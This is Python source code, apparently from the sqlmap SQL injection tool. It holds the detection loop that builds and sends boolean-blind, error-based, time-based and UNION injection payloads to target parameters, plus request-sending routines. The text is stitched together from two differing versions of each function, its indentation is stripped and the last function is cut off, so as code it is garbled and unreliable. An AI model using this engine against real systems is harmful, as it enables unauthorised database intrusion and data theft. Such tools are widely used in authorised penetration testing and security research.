# Set the flag for SQL injection test mode
kb.testMode = True
for test in getSortedInjectionTests():
try:
if kb.endDetection:
break
title = test.title
stype = test.stype
clause = test.clause
unionExtended = False
if stype == PAYLOAD.TECHNIQUE.UNION:
configUnion(test.request.char)
if "[CHAR]" in title:
if conf.uChar is None:
continue
else:
title = title.replace("[CHAR]", conf.uChar)
elif "[RANDNUM]" in title or "(NULL)" in title:
title = title.replace("[RANDNUM]", "random number")
if test.request.columns == "[COLSTART]-[COLSTOP]":
if conf.uCols is None:
continue
else:
title = title.replace("[COLSTART]", str(conf.uColsStart))
title = title.replace("[COLSTOP]", str(conf.uColsStop))
elif conf.uCols is not None:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "provided custom column range %s" % conf.uCols
logger.debug(debugMsg)
continue
match = re.search(r"(\d+)-(\d+)", test.request.columns)
if injection.data and match:
lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper):
if _ > 1:
unionExtended = True
test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns)
title = re.sub(r"\b%d\b" % _, str(2 * _), title)
test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title)
# Skip test if the user's wants to test only for a specific
# technique
if conf.tech and isinstance(conf.tech, list) and stype not in conf.tech:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "specified to test only for "
debugMsg += "%s techniques" % " & ".join(map(lambda x: PAYLOAD.SQLINJECTION[x], conf.tech))
logger.debug(debugMsg)
continue
# Skip test if it is the same SQL injection type already
# identified by another test
if injection.data and stype in injection.data:
debugMsg = "skipping test '%s' because " % title
debugMsg += "the payload for %s has " % PAYLOAD.SQLINJECTION[stype]
debugMsg += "already been identified"
logger.debug(debugMsg)
continue
# Skip tests if title is not included by the given filter
if conf.testFilter:
if not any(re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector,\
test.details.dbms if "details" in test and "dbms" in test.details else "")):
debugMsg = "skipping test '%s' because " % title
debugMsg += "its name/vector/dbms is not included by the given filter"
logger.debug(debugMsg)
continue
else:
# Skip test if the risk is higher than the provided (or default)
# value
# Parse test's <risk>
if test.risk > conf.risk:
debugMsg = "skipping test '%s' because the risk (%d) " % (title, test.risk)
debugMsg += "is higher than the provided (%d)" % conf.risk
logger.debug(debugMsg)
continue
# Skip test if the level is higher than the provided (or default)
# value
# Parse test's <level>
if test.level > conf.level:
debugMsg = "skipping test '%s' because the level (%d) " % (title, test.level)
debugMsg += "is higher than the provided (%d)" % conf.level
logger.debug(debugMsg)
continue
# Skip DBMS-specific test if it does not match either the
# previously identified or the user's provided DBMS (either
# from program switch or from parsed error message(s))
if "details" in test and "dbms" in test.details:
dbms = test.details.dbms
else:
dbms = None
if dbms is not None:
if injection.dbms is not None and not intersect(injection.dbms, dbms):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the back-end DBMS identified is "
debugMsg += "%s" % injection.dbms
logger.debug(debugMsg)
continue
if conf.dbms is not None and not intersect(conf.dbms.lower(), [value.lower() for value in arrayizeValue(dbms)]):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the provided DBMS is %s" % conf.dbms
logger.debug(debugMsg)
continue
if conf.dbms is None and len(Backend.getErrorParsedDBMSes()) > 0 and not intersect(dbms, Backend.getErrorParsedDBMSes()) and kb.skipOthersDbms is None:
msg = "parsed error message(s) showed that the "
msg += "back-end DBMS could be %s. " % Format.getErrorParsedDBMSes()
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
if readInput(msg, default="Y") in ("y", "Y"):
kb.skipOthersDbms = Backend.getErrorParsedDBMSes()
else:
kb.skipOthersDbms = []
if kb.skipOthersDbms and not intersect(dbms, kb.skipOthersDbms):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the parsed error message(s) showed "
debugMsg += "that the back-end DBMS could be "
debugMsg += "%s" % Format.getErrorParsedDBMSes()
logger.debug(debugMsg)
continue
# Skip test if it does not match the same SQL injection clause
# already identified by another test
clauseMatch = False
for clauseTest in clause:
if injection.clause is not None and clauseTest in injection.clause:
clauseMatch = True
break
if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch:
debugMsg = "skipping test '%s' because the clauses " % title
debugMsg += "differs from the clause already identified"
logger.debug(debugMsg)
continue
# Skip test if the user provided custom character
if conf.uChar is not None and ("random number" in title or "(NULL)" in title):
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "provided a specific character, %s" % conf.uChar
logger.debug(debugMsg)
continue
infoMsg = "testing '%s'" % title
logger.info(infoMsg)
# Force back-end DBMS according to the current
# test value for proper payload unescaping
Backend.forceDbms(dbms[0] if isinstance(dbms, list) else dbms)
# Parse test's <request>
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value)
# Favoring non-string specific boundaries in case of digit-like parameter values
if value.isdigit():
boundaries = sorted(copy.deepcopy(conf.boundaries), key=lambda x: any(_ in (x.prefix or "") or _ in (x.suffix or "") for _ in ('"', '\'')))
else:
boundaries = conf.boundaries
for boundary in boundaries:
injectable = False
# Skip boundary if the level is higher than the provided (or
# default) value
# Parse boundary's <level>
if boundary.level > conf.level:
continue
# Skip boundary if it does not match against test's <clause>
# Parse test's <clause> and boundary's <clause>
clauseMatch = False
for clauseTest in test.clause:
if clauseTest in boundary.clause:
clauseMatch = True
break
if test.clause != [0] and boundary.clause != [0] and not clauseMatch:
continue
# Skip boundary if it does not match against test's <where>
# Parse test's <where> and boundary's <where>
whereMatch = False
for where in test.where:
if where in boundary.where:
whereMatch = True
break
if not whereMatch:
continue
# Parse boundary's <prefix>, <suffix> and <ptype>
prefix = boundary.prefix if boundary.prefix else ""
suffix = boundary.suffix if boundary.suffix else ""
# Options --prefix/--suffix have a higher priority (if set by user)
prefix = conf.prefix if conf.prefix is not None else prefix
suffix = conf.suffix if conf.suffix is not None else suffix
comment = None if conf.suffix is not None else comment
ptype = boundary.ptype
# If the previous injections succeeded, we know which prefix,
# suffix and parameter type to use for further tests, no
# need to cycle through the boundaries for the following tests
condBound = (injection.prefix is not None and injection.suffix is not None)
condBound &= (injection.prefix != prefix or injection.suffix != suffix)
condType = injection.ptype is not None and injection.ptype != ptype
if condBound or condType:
continue
# For each test's <where>
for where in test.where:
templatePayload = None
vector = None
# Threat the parameter original value according to the
# test's <where> tag
if where == PAYLOAD.WHERE.ORIGINAL:
origValue = value
elif where == PAYLOAD.WHERE.NEGATIVE:
# Use different page template than the original
# one as we are changing parameters value, which
# will likely result in a different content
if conf.invalidLogical:
origValue = "%s AND %s=%s" % (origValue, randomInt(), randomInt())
elif conf.invalidBignum:
origValue = "%d.%d" % (randomInt(6), randomInt(1))
else:
origValue = "-%s" % randomInt()
templatePayload = agent.payload(place, parameter, newValue=origValue, where=where)
elif where == PAYLOAD.WHERE.REPLACE:
origValue = ""
kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place)
# Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the
# test's ' <payload><comment> ' string
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
# Perform the test's request and check whether or not the
# payload was successful
# Parse test's <response>
for method, check in test.response.items():
check = agent.cleanupPayload(check, origValue=value)
# In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison
def genCmpPayload():
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value)
# Forge response payload by prepending with
# boundary's prefix and appending the boundary's
# suffix to the test's ' <payload><comment> '
# string
boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
return cmpPayload
# Useful to set kb.matchRatio at first based on
# the False response content
kb.matchRatio = None
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
Request.queryPage(genCmpPayload(), place, raise404=False)
falsePage = threadData.lastComparisonPage or ""
# Perform the test's True request
trueResult = Request.queryPage(reqPayload, place, raise404=False)
truePage = threadData.lastComparisonPage or ""
if trueResult:
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
# Perform the test's False request
if not falseResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
if not injectable and not any((conf.string, conf.notString, conf.regexp)) and kb.pageStable:
trueSet = set(extractTextTagContent(truePage))
falseSet = set(extractTextTagContent(falsePage))
candidates = filter(None, (_.strip() if _.strip() in (kb.pageTemplate or "") and _.strip() not in falsePage else None for _ in (trueSet - falseSet)))
if candidates:
conf.string = random.sample(candidates, 1)[0]
infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (place, parameter, title, repr(conf.string).lstrip('u').strip("'"))
logger.info(infoMsg)
injectable = True
# In case of error-based SQL injection
elif method == PAYLOAD.METHOD.GREP:
# Perform the test's request and grep the response
# body for the test's <grep> regular expression
try:
page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
result = output == "1"
if result:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
except SqlmapConnectionException, msg:
debugMsg = "problem occured most likely because the "
debugMsg += "server hasn't recovered as expected from the "
debugMsg += "error-based payload used ('%s')" % msg
logger.debug(debugMsg)
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
# Perform the test's request
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
# Confirm test's results
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# In case of UNION query SQL injection
elif method == PAYLOAD.METHOD.UNION:
# Test for UNION injection and set the sample
# payload as well as the vector.
# NOTE: vector is set to a tuple with 6 elements,
# used afterwards by Agent.forgeUnionQuery()
# method to forge the UNION query payload
configUnion(test.request.char, test.request.columns)
if not Backend.getIdentifiedDbms():
warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS. You can try to "
warnMsg += "explicitly set it using option '--dbms'"
singleTimeWarnMessage(warnMsg)
if unionExtended:
infoMsg = "automatically extending ranges "
infoMsg += "for UNION query injection technique tests as "
infoMsg += "there is at least one other potential "
infoMsg += "injection technique found"
singleTimeLogMessage(infoMsg)
# Test for UNION query SQL injection
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
if isinstance(reqPayload, basestring):
infoMsg = "%s parameter '%s' is '%s' injectable" % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# Overwrite 'where' because it can be set
# by unionTest() directly
where = vector[6]
kb.previousMethod = method
# If the injection test was successful feed the injection
# object with the test's details
if injectable is True:
# Feed with the boundaries details only the first time a
# test has been successful
if injection.place is None or injection.parameter is None:
if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
injection.parameter = place
else:
injection.parameter = parameter
injection.place = place
injection.ptype = ptype
injection.prefix = prefix
injection.suffix = suffix
injection.clause = clause
# Feed with test details every time a test is successful
if hasattr(test, "details"):
for dKey, dValue in test.details.items():
if dKey == "dbms":
injection.dbms = dValue
if not isinstance(dValue, list):
Backend.setDbms(dValue)
else:
Backend.forceDbms(dValue[0], True)
elif dKey == "dbms_version" and injection.dbms_version is None and not conf.testFilter:
injection.dbms_version = Backend.setVersion(dValue)
elif dKey == "os" and injection.os is None:
injection.os = Backend.setOs(dValue)
if vector is None and "vector" in test and test.vector is not None:
vector = test.vector
injection.data[stype] = AttribDict()
injection.data[stype].title = title
injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload)
injection.data[stype].where = where
injection.data[stype].vector = vector
injection.data[stype].comment = comment
injection.data[stype].templatePayload = templatePayload
injection.data[stype].matchRatio = kb.matchRatio
injection.conf.textOnly = conf.textOnly
injection.conf.titles = conf.titles
injection.conf.string = conf.string
injection.conf.notString = conf.notString
injection.conf.regexp = conf.regexp
injection.conf.optimize = conf.optimize
if not kb.alerted:
if conf.beep:
beep()
if conf.alert:
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
logger.info(infoMsg)
process = execute(conf.alert, shell=True)
process.wait()
kb.alerted = True
# There is no need to perform this test for other
# <where> tags
break
if injectable is True:
kb.vulnHosts.add(conf.hostname)
break
def checkSqlInjection(place, parameter, value):
# Store here the details about boundaries and payload used to
# successfully inject
injection = InjectionDict()
# Localized thread data needed for some methods
threadData = getCurrentThreadData()
# Set the flag for SQL injection test mode
kb.testMode = True
for test in getSortedInjectionTests():
try:
if kb.endDetection:
break
title = test.title
stype = test.stype
clause = test.clause
unionExtended = False
if stype == PAYLOAD.TECHNIQUE.UNION:
configUnion(test.request.char)
if "[CHAR]" in title:
if conf.uChar is None:
continue
else:
title = title.replace("[CHAR]", conf.uChar)
elif "[RANDNUM]" in title or "(NULL)" in title:
title = title.replace("[RANDNUM]", "random number")
if test.request.columns == "[COLSTART]-[COLSTOP]":
if conf.uCols is None:
continue
else:
title = title.replace("[COLSTART]",
str(conf.uColsStart))
title = title.replace("[COLSTOP]", str(conf.uColsStop))
elif conf.uCols is not None:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "provided custom column range %s" % conf.uCols
logger.debug(debugMsg)
continue
match = re.search(r"(\d+)-(\d+)", test.request.columns)
if injection.data and match:
lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper):
if _ > 1:
unionExtended = True
test.request.columns = re.sub(
r"\b%d\b" % _, str(2 * _),
test.request.columns)
title = re.sub(r"\b%d\b" % _, str(2 * _), title)
test.title = re.sub(r"\b%d\b" % _, str(2 * _),
test.title)
# Skip test if the user's wants to test only for a specific
# technique
if conf.tech and isinstance(conf.tech,
list) and stype not in conf.tech:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "specified to test only for "
debugMsg += "%s techniques" % " & ".join(
map(lambda x: PAYLOAD.SQLINJECTION[x], conf.tech))
logger.debug(debugMsg)
continue
# Skip test if it is the same SQL injection type already
# identified by another test
if injection.data and stype in injection.data:
debugMsg = "skipping test '%s' because " % title
debugMsg += "the payload for %s has " % PAYLOAD.SQLINJECTION[
stype]
debugMsg += "already been identified"
logger.debug(debugMsg)
continue
# Skip tests if title is not included by the given filter
if conf.tstF:
if not any(re.search(conf.tstF, str(item), re.I) for item in [test.title, test.vector,\
test.details.dbms if "details" in test and "dbms" in test.details else ""]):
debugMsg = "skipping test '%s' because " % title
debugMsg += "its name/vector/dbms is not included by the given filter"
logger.debug(debugMsg)
continue
else:
# Skip test if the risk is higher than the provided (or default)
# value
# Parse test's <risk>
if test.risk > conf.risk:
debugMsg = "skipping test '%s' because the risk (%d) " % (
title, test.risk)
debugMsg += "is higher than the provided (%d)" % conf.risk
logger.debug(debugMsg)
continue
# Skip test if the level is higher than the provided (or default)
# value
# Parse test's <level>
if test.level > conf.level:
debugMsg = "skipping test '%s' because the level (%d) " % (
title, test.level)
debugMsg += "is higher than the provided (%d)" % conf.level
logger.debug(debugMsg)
continue
# Skip DBMS-specific test if it does not match either the
# previously identified or the user's provided DBMS (either
# from program switch or from parsed error message(s))
if "details" in test and "dbms" in test.details:
dbms = test.details.dbms
else:
dbms = None
if dbms is not None:
if injection.dbms is not None and not intersect(
injection.dbms, dbms):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the back-end DBMS identified is "
debugMsg += "%s" % injection.dbms
logger.debug(debugMsg)
continue
if conf.dbms is not None and not intersect(
conf.dbms.lower(),
[value.lower() for value in arrayizeValue(dbms)]):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the provided DBMS is %s" % conf.dbms
logger.debug(debugMsg)
continue
if len(Backend.getErrorParsedDBMSes()) > 0 and not intersect(
dbms, Backend.getErrorParsedDBMSes()
) and kb.skipOthersDbms is None:
msg = "parsed error message(s) showed that the "
msg += "back-end DBMS could be %s. " % Format.getErrorParsedDBMSes(
)
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
if conf.realTest or readInput(msg,
default="Y") in ("y", "Y"):
kb.skipOthersDbms = Backend.getErrorParsedDBMSes()
else:
kb.skipOthersDbms = []
if kb.skipOthersDbms and not intersect(dbms,
kb.skipOthersDbms):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the parsed error message(s) showed "
debugMsg += "that the back-end DBMS could be "
debugMsg += "%s" % Format.getErrorParsedDBMSes()
logger.debug(debugMsg)
continue
# Skip test if it does not match the same SQL injection clause
# already identified by another test
clauseMatch = False
for clauseTest in clause:
if injection.clause is not None and clauseTest in injection.clause:
clauseMatch = True
break
if clause != [0] and injection.clause and injection.clause != [
0
] and not clauseMatch:
debugMsg = "skipping test '%s' because the clauses " % title
debugMsg += "differs from the clause already identified"
logger.debug(debugMsg)
continue
# Skip test if the user provided custom character
if conf.uChar is not None and ("random number" in title
or "(NULL)" in title):
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "provided a specific character, %s" % conf.uChar
logger.debug(debugMsg)
continue
infoMsg = "testing '%s'" % title
logger.info(infoMsg)
# Force back-end DBMS according to the current
# test value for proper payload unescaping
Backend.forceDbms(dbms[0] if isinstance(dbms, list) else dbms)
# Parse test's <request>
comment = agent.getComment(
test.request) if len(conf.boundaries) > 1 else None
fstPayload = agent.cleanupPayload(test.request.payload,
origValue=value)
for boundary in conf.boundaries:
injectable = False
# Skip boundary if the level is higher than the provided (or
# default) value
# Parse boundary's <level>
if boundary.level > conf.level:
continue
# Skip boundary if it does not match against test's <clause>
# Parse test's <clause> and boundary's <clause>
clauseMatch = False
for clauseTest in test.clause:
if clauseTest in boundary.clause:
clauseMatch = True
break
if test.clause != [0] and boundary.clause != [
0
] and not clauseMatch:
continue
# Skip boundary if it does not match against test's <where>
# Parse test's <where> and boundary's <where>
whereMatch = False
for where in test.where:
if where in boundary.where:
whereMatch = True
break
if not whereMatch:
continue
# Parse boundary's <prefix>, <suffix> and <ptype>
prefix = boundary.prefix if boundary.prefix else ""
suffix = boundary.suffix if boundary.suffix else ""
ptype = boundary.ptype
# If the previous injections succeeded, we know which prefix,
# suffix and parameter type to use for further tests, no
# need to cycle through the boundaries for the following tests
condBound = (injection.prefix is not None
and injection.suffix is not None)
condBound &= (injection.prefix != prefix
or injection.suffix != suffix)
condType = injection.ptype is not None and injection.ptype != ptype
if condBound or condType:
continue
# For each test's <where>
for where in test.where:
templatePayload = None
vector = None
# Threat the parameter original value according to the
# test's <where> tag
if where == PAYLOAD.WHERE.ORIGINAL:
origValue = value
elif where == PAYLOAD.WHERE.NEGATIVE:
# Use different page template than the original
# one as we are changing parameters value, which
# will likely result in a different content
if conf.invalidLogical:
origValue = "%s AND %s=%s" % (
origValue, randomInt(), randomInt())
elif conf.invalidBignum:
origValue = "%d.%d" % (randomInt(6), randomInt(1))
else:
origValue = "-%s" % randomInt()
templatePayload = agent.payload(place,
parameter,
newValue=origValue,
where=where)
elif where == PAYLOAD.WHERE.REPLACE:
origValue = ""
kb.pageTemplate, kb.errorIsNone = getPageTemplate(
templatePayload, place)
# Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the
# test's ' <payload><comment> ' string
boundPayload = agent.prefixQuery(fstPayload, prefix, where,
clause)
boundPayload = agent.suffixQuery(boundPayload, comment,
suffix, where)
reqPayload = agent.payload(place,
parameter,
newValue=boundPayload,
where=where)
# Perform the test's request and check whether or not the
# payload was successful
# Parse test's <response>
for method, check in test.response.items():
check = agent.cleanupPayload(check, origValue=value)
# In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison
def genCmpPayload():
sndPayload = agent.cleanupPayload(
test.response.comparison, origValue=value)
# Forge response payload by prepending with
# boundary's prefix and appending the boundary's
# suffix to the test's ' <payload><comment> '
# string
boundPayload = agent.prefixQuery(
sndPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(
boundPayload, comment, suffix, where)
cmpPayload = agent.payload(
place,
parameter,
newValue=boundPayload,
where=where)
return cmpPayload
# Useful to set kb.matchRatio at first based on
# the False response content
kb.matchRatio = None
kb.negativeLogic = (
where == PAYLOAD.WHERE.NEGATIVE)
Request.queryPage(genCmpPayload(),
place,
raise404=False)
falsePage = threadData.lastComparisonPage or ""
# Perform the test's True request
trueResult = Request.queryPage(reqPayload,
place,
raise404=False)
truePage = threadData.lastComparisonPage or ""
if trueResult:
falseResult = Request.queryPage(
genCmpPayload(), place, raise404=False)
# Perform the test's False request
if not falseResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (
place, parameter, title)
logger.info(infoMsg)
injectable = True
if not injectable and not conf.string and kb.pageStable:
trueSet = set(extractTextTagContent(truePage))
falseSet = set(
extractTextTagContent(falsePage))
candidates = filter(
None,
(_.strip()
if _.strip() in (kb.pageTemplate or "")
and _.strip() not in falsePage else None
for _ in (trueSet - falseSet)))
if candidates:
conf.string = random.sample(candidates,
1)[0]
infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=%s)" % (
place, parameter, title,
repr(conf.string).lstrip('u'))
logger.info(infoMsg)
injectable = True
# In case of error-based SQL injection
elif method == PAYLOAD.METHOD.GREP:
# Perform the test's request and grep the response
# body for the test's <grep> regular expression
try:
page, headers = Request.queryPage(
reqPayload,
place,
content=True,
raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
result = output == "1"
if result:
infoMsg = "%s parameter '%s' is '%s' injectable " % (
place, parameter, title)
logger.info(infoMsg)
injectable = True
except sqlmapConnectionException, msg:
debugMsg = "problem occured most likely because the "
debugMsg += "server hasn't recovered as expected from the "
debugMsg += "error-based payload used ('%s')" % msg
logger.debug(debugMsg)
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
# Perform the test's request
trueResult = Request.queryPage(
reqPayload,
place,
timeBasedCompare=True,
raise404=False)
if trueResult:
# Confirm test's results
trueResult = Request.queryPage(
reqPayload,
place,
timeBasedCompare=True,
raise404=False)
if trueResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (
place, parameter, title)
logger.info(infoMsg)
injectable = True
# In case of UNION query SQL injection
elif method == PAYLOAD.METHOD.UNION:
# Test for UNION injection and set the sample
# payload as well as the vector.
# NOTE: vector is set to a tuple with 6 elements,
# used afterwards by Agent.forgeInbandQuery()
# method to forge the UNION query payload
configUnion(test.request.char,
test.request.columns)
if not Backend.getIdentifiedDbms():
warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS. You can try to "
warnMsg += "explicitly set it using the --dbms "
warnMsg += "option"
singleTimeWarnMessage(warnMsg)
if unionExtended:
infoMsg = "automatically extending ranges "
infoMsg += "for UNION query injection technique tests as "
infoMsg += "there is at least one other injection technique found"
singleTimeLogMessage(infoMsg)
# Test for UNION query SQL injection
reqPayload, vector = unionTest(
comment, place, parameter, value, prefix,
suffix)
if isinstance(reqPayload, basestring):
infoMsg = "%s parameter '%s' is '%s' injectable" % (
place, parameter, title)
logger.info(infoMsg)
injectable = True
# Overwrite 'where' because it can be set
# by unionTest() directly
where = vector[6]
kb.previousMethod = method
# If the injection test was successful feed the injection
# object with the test's details
if injectable is True:
# Feed with the boundaries details only the first time a
# test has been successful
if injection.place is None or injection.parameter is None:
if place in (PLACE.UA, PLACE.REFERER, PLACE.HOST):
injection.parameter = place
else:
injection.parameter = parameter
injection.place = place
injection.ptype = ptype
injection.prefix = prefix
injection.suffix = suffix
injection.clause = clause
# Feed with test details every time a test is successful
if hasattr(test, "details"):
for dKey, dValue in test.details.items():
if dKey == "dbms":
if not isinstance(dValue, list):
injection.dbms = Backend.setDbms(
dValue)
else:
Backend.forceDbms(dValue[0], True)
elif dKey == "dbms_version" and injection.dbms_version is None and not conf.tstF:
injection.dbms_version = Backend.setVersion(
dValue)
elif dKey == "os" and injection.os is None:
injection.os = Backend.setOs(dValue)
if vector is None and "vector" in test and test.vector is not None:
vector = "%s%s" % (test.vector, comment or "")
injection.data[stype] = AttribDict()
injection.data[stype].title = title
injection.data[
stype].payload = agent.removePayloadDelimiters(
reqPayload)
injection.data[stype].where = where
injection.data[stype].vector = vector
injection.data[stype].comment = comment
injection.data[stype].templatePayload = templatePayload
injection.data[stype].matchRatio = kb.matchRatio
injection.conf.textOnly = conf.textOnly
injection.conf.titles = conf.titles
injection.conf.string = conf.string
injection.conf.regexp = conf.regexp
injection.conf.optimize = conf.optimize
if conf.beep or conf.realTest:
beep()
# There is no need to perform this test for other
# <where> tags
break
if injectable is True:
# There is no need to perform this test with others
# boundaries
break
def queryPage(value=None,
place=None,
content=False,
getRatioValue=False,
silent=False,
method=None,
timeBasedCompare=False,
noteResponseTime=True,
auxHeaders=None,
response=False,
raise404=None):
"""
This method calls a function to get the target url page content
and returns its page MD5 hash or a boolean value in case of
string match check ('--string' command line parameter)
"""
if conf.direct:
return direct(value, content)
get = None
post = None
cookie = None
ua = None
referer = None
page = None
pageLength = None
uri = None
raise404 = place != PLACE.URI if raise404 is None else raise404
if not place:
place = kb.injection.place
payload = agent.extractPayload(value)
threadData = getCurrentThreadData()
if payload:
if kb.tamperFunctions:
for function in kb.tamperFunctions:
payload = function(payload)
value = agent.replacePayload(value, payload)
logger.log(9, payload)
if place == PLACE.COOKIE and conf.cookieUrlencode:
value = agent.removePayloadDelimiters(value)
value = urlEncodeCookieValues(value)
elif place:
if place in (PLACE.GET, PLACE.POST):
# payloads in GET and/or POST need to be urlencoded
# throughly without safe chars (especially & and =)
# addendum: as we support url encoding in tampering
# functions therefore we need to use % as a safe char
payload = urlencode(payload, "%", False, True)
value = agent.replacePayload(value, payload)
value = agent.removePayloadDelimiters(value)
if conf.checkPayload:
checkPayload(value)
if PLACE.GET in conf.parameters:
get = urlencode(conf.parameters[PLACE.GET]
if place != PLACE.GET or not value else value,
limit=True)
if PLACE.POST in conf.parameters:
post = urlencode(conf.parameters[PLACE.POST]
if place != PLACE.POST or not value else value)
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[
PLACE.COOKIE] if place != PLACE.COOKIE or not value else value
if PLACE.UA in conf.parameters:
ua = conf.parameters[
PLACE.UA] if place != PLACE.UA or not value else value
if PLACE.REFERER in conf.parameters:
referer = conf.parameters[
PLACE.
REFERER] if place != PLACE.REFERER or not value else value
if PLACE.URI in conf.parameters:
uri = conf.url if place != PLACE.URI or not value else value
else:
uri = conf.url
if timeBasedCompare:
if len(kb.responseTimes) < MIN_TIME_RESPONSES:
clearConsoleLine()
warnMsg = "time-based comparison needs larger statistical "
warnMsg += "model. Making a few dummy requests, please wait.."
logger.warn(warnMsg)
while len(kb.responseTimes) < MIN_TIME_RESPONSES:
Connect.queryPage(content=True)
if conf.safUrl and conf.saFreq > 0:
kb.queryCounter += 1
if kb.queryCounter % conf.saFreq == 0:
Connect.getPage(url=conf.safUrl,
cookie=cookie,
direct=True,
silent=True,
ua=ua,
referer=referer)
start = time.time()
if kb.nullConnection and not content and not response and not timeBasedCompare:
if kb.nullConnection == NULLCONNECTION.HEAD:
method = HTTPMETHOD.HEAD
elif kb.nullConnection == NULLCONNECTION.RANGE:
if not auxHeaders:
auxHeaders = {}
auxHeaders[HTTPHEADER.RANGE] = "bytes=-1"
_, headers = Connect.getPage(url=uri,
get=get,
post=post,
cookie=cookie,
ua=ua,
referer=referer,
silent=silent,
method=method,
auxHeaders=auxHeaders,
raise404=raise404)
if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers:
pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH])
elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers:
pageLength = int(headers[HTTPHEADER.CONTENT_RANGE]
[headers[HTTPHEADER.CONTENT_RANGE].find('/') +
1:])
if not pageLength:
page, headers = Connect.getPage(url=uri,
get=get,
post=post,
cookie=cookie,
ua=ua,
referer=referer,
silent=silent,
method=method,
auxHeaders=auxHeaders,
response=response,
raise404=raise404,
ignoreTimeout=timeBasedCompare)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
if kb.testMode:
kb.testQueryCount += 1
if conf.cj:
conf.cj.clear()
if timeBasedCompare:
return wasLastRequestDelayed()
elif noteResponseTime:
kb.responseTimes.append(threadData.lastQueryDuration)
if content or response:
return page, headers
page = removeReflectiveValues(page, payload)
if getRatioValue:
return comparison(page, getRatioValue=False,
pageLength=pageLength), comparison(
page,
getRatioValue=True,
pageLength=pageLength)
elif pageLength or page:
return comparison(page, getRatioValue, pageLength)
else:
return False
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True):
"""
This method calls a function to get the target url page content
and returns its page MD5 hash or a boolean value in case of
string match check ('--string' command line parameter)
"""
if conf.direct:
return direct(value, content)
get = None
post = None
cookie = None
ua = None
referer = None
host = None
page = None
pageLength = None
uri = None
code = None
